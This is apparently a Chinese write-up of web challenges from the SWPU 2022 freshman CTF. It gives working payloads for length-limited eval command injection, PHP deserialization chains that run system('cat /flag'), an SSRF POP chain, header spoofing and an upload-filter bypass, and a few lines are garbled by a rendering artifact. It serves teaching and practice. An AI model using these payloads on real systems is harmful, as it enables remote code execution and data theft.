目录

SWPU-2022-新生赛

SWPU 2022 新生赛

webdog1__start

if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 

md5 自等

web=0e215962017 (md5后也是 0e)

登入后得到提示,robots.txt

访问 f14g.php

返回包里发现 hint

==>

if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}
strstr 是 PHP 中的一个字符串处理函数,用于查找字符串中首次出现某个子字符串的位置,并返回从该子字符串开始到字符串末尾的部分。如果未找到子字符串,则返回 false

不能有空格,flag,长度不大于 18

?get=system(phpinfo());
?get=system(ls);
?get=system(%27nl%09/*%27);				//%27不能掉

%09 为制表符

其他姿势1

嵌套 eval()

既然 get 参数的值存在限制,那么我们可以将 get 的值设置为 eval($_GET[‘?’]); (理论上,? 可以表示任何文本)来接收另一个参数名为 ? 的值并将其作为 PHP 代码执行。这样,判断语句将检查 get 参数,而实际起破坏作用的代码却被我们转移到了另一个参数 ? 中。对此,构造如下查询字符串:

原文链接:https://blog.csdn.net/qq_44879989/article/details/131429635

?get=eval($_GET['x']);&x=system('cat /flag');

其他姿势2

由于 flag 被替换为空格,所以可以使用 flag 当空格用

?get=system('catflag/*')

读到 flag.php 后查看源码,得到 /flag

跳板命令绕过,借力打力

ez_ez_php

//输出:O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

增加属性值绕过 wakeup

O:2:"lt":5:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

js_sign

开发者工具的 source 一栏里找到 man.js

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})

dGFwY29kZQ==

解码 ==> tapcode

搜一下这个 tapcode

==>

滴答码,有时也称为敲击码,是一种以非常简单的方式逐字母编码文本消息的方法。消息通过一系列敲击声来传输,因此得名。

搜在线网站解码,但格式有问题,试着将上面的数字全部分隔开然后敲击,有意外的发现

[滴答码][https://cryptii.com/pipes/tap-code]

编写python脚本自动化打点

import re

flag = "33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
patter = re.compile(r'\d')
num = re.findall(patter, flag)
for i in num:
    print(int(i)*".",end=' ')

exp

... ... .... ... .... ... . ... .... .... .. . ..... .... ... .... .... ..... .. . .. .... ... ... . .... .. . ... . . . .. .. . .. ..... .... .... .... . . ... ..... . ... ... .... . .... . ..... 

==>

nssctfyoufindflagbytapcode

==>

NSSCTF{youfindflagbytapcode}

xff

我是本地人

Must be jump from Home Page.

Must be accessed from Xiaohong’s own computer.

抓包添加 header

X-Forwarded-For:127.0.0.1
Referer:127.0.0.1

XFF:告诉服务器当前请求者的最终IP。在一些情况下,攻击者可能会尝试伪造X-Forwarded-For字段来隐藏其真实IP地址,因此在使用XFF时需要谨慎验证其真实性。

Referer:它的作用是指示一个请求是从哪里链接过来,那么当一个请求并不是由链接触发产生的,那么自然也就不需要指定这个请求的链接来源。

funny_php

<?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }

  
  • 科学计数法绕过
  • 双写绕过
  • md5绕过

exp

?num=1e9&str=NSSNSSCTFCTF

POST
md5_1=s878926199a&md5_2=s214587387a

ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

简单绕过一下 wakep 即可

<?php
class X
{
    public $x = __FILE__;
}
$x = new x();
$x -> x = "fllllllag.php";
//echo serialize($x);
$exp ='O:1:"X":4:{s:1:"x";s:13:"fllllllag.php";}';
echo urldecode($exp);
//O:1:"X":3:{s:1:"x";s:13:"fllllllag.php";}

Power!

随便测试一下

?image_path=1

file_get_contents(1): failed to open stream: No such file or directory in /var/www/html/index.php on line 66

php://filter/read=convert.base64-encode/resource=flag.php    
php:    被过滤

再尝试一下其他的

直接 ?image_path=flag.php

看到一个未加载的图片,查看源码有一个 base64 的 source

<?php

$a = "good job,but there is no flag

i put my flag in intranet(127.0.0.1:65500)

outsider have no permissions to get it

if you want it,then you have to take it

but you already knew the rules

try it";

?>

intranet:局域网

这里有点模糊,直接读一下 index.php

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?>

其实还有 file 伪协议未被过滤

反序列化+SSRF,启动!

注意程序在 unserialize 之后会调用 $FV->loadfile();, 如果 $FV 不是 FileViewer 类的实例则会抛出异常, 导致 Backdoor 类的 __destruct 不会成功执行

解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)

简单讲就是 class1(class2) 进行反序列化时,会先从 class2 开始反序列化

FileViewer -> Backdoor::__destruct() -> FileViewer::__call() -> FileViewer::loadfile() -> FileViewer::curl()

//flag in /flag.php

exp

<?php
class FileViewer{
    public $black_list = "sb";
    public $local;
    public $path='flag.php';
}
class Backdoor{
    public $a;
    public $b='local';
    public $superhacker = "127.0.0.1:65500/";
}

$fileviewer = new FileViewer();
$backdoor = new Backdoor();

$backdoor -> a = $fileviewer;
$sm = new FileViewer();   #避免报错
$sm -> local = $backdoor;

echo serialize($sm);      #塞了一个,Backdoor类,在内部进行反序列化触发文件curl
echo PHP_EOL;
//echo base64_encode('O:10:"FileViewer":3:{s:10:"black_list";s:2:"sb";s:5:"local";O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":6:{s:10:"black_list";s:2:"sb";s:5:"local";N;s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:16:"127.0.0.1:65500/";}s:4:"path";s:8:"flag.php";}');
echo base64_encode(serialize($sm));
?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoyOiJzYiI7czo1OiJsb2NhbCI7Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtzOjI6InNiIjtzOjU6ImxvY2FsIjtOO3M6NDoicGF0aCI7czo4OiJmbGFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MTY6IjEyNy4wLjAuMTo2NTUwMC8iO31zOjQ6InBhdGgiO3M6ODoiZmxhZy5waHAiO30=?ptah_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czo1OiJsb2NhbCI7czowOiIiO3M6NDoicGF0aCI7TjtzOjQ6InRleHQiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Njp7czo1OiJsb2NhbCI7czoyMjoiaHR0cDovLzEyNy4wLjAuMTo2NTUwMCI7czo0OiJwYXRoIjtzOjg6ImZsYWcucGhwIjt9czoxOiJiIjtOO3M6MTE6InN1cGVyaGFja2VyIjtzOjEwOiJoYWNrZXIuanBnIjt9fQ

我本来也是直接让Backdoor直接包含FileViewer,但是不可以。为什么呢。

$FV = unserialize(base64_decode($path_info));
$FV->loadfile();

当我们的反序列化正在执行的时候,会同时执行

F V −

l o a d f i l e ( ) ; 这个语句,但是 FV->loadfile();这个语句,但是

F

V

l

o

a

df

i

l

e

(

)

;

这个语句,但是 FV是Backdoor的对象,根本没有这个方法,所以会报错。那么就要让$FV是FileViewer的对象。

我们又知道,反序列化是从最里面开始反序列化的。比如,类1包含类2,那么他会先反序列化类2,再类1.

于是我们是FileViewer包含(Backdoor包含(FileViewer))。

为什么这里不需要绕过 wakeup() ?

我的类结构 –》 Fileview(Backdoor(Fileview))

目的是调用最内层的 Fileview 进行文件读取,当最内层的 Fileview local 被 wakeup 覆盖后,外层 Backdoor 反序列会将其覆盖回来。

内部类属性数量不一致,直接把内部类当垃圾回收,外部类。
外部类属性数量不一致,外部类直接被当成垃圾回收,而内部类正常。

1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

exp

class lyh
{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
}

$lyh = new lyh();
$lyh -> lt = "eval";
$lyh -> lly = "phpinfo()";
echo serialize($lyh);
nss=O:3:"lyh":5:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

file_master

查询文件功能报错

Warning
file_get_contents(): remote host file access not supported, file://index.php in /var/www/html/index.php on line 24
Warning
file_get_contents(file://index.php): failed to open stream: no suitable wrapper could be found in /var/www/html/index.php on line 24

直接查询 index.php

<?php
    session_start();
    if(isset($_GET['filename'])){
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
                if($img_info){
                    if($img_info[0]<=20 && $img_info[1]<=20){
                    if(!is_dir("upload/".session_id())){
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
                    die("image hight and width must less than 20");
                }
            }else{
                die("invalid file head");
            }
        }else{
            die("invalid file type!image/jpeg only!!");
        }
    }else{
        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';

试一下直接读取 flag,失败

先尝试文件上传

提取出信息

必须是image/jpeg

2.要有文件头(测试不添加也行)

3.宽高要小于20

为upload/your_sessionid/your_filename

5.文件内容不能含有php

1,2要求略过

3.要在文件中添加

#define height 1
#define width 1 

4.sessionid在抓包时可以得到在Cookie: PHPSESSID=这里

5.利用短标签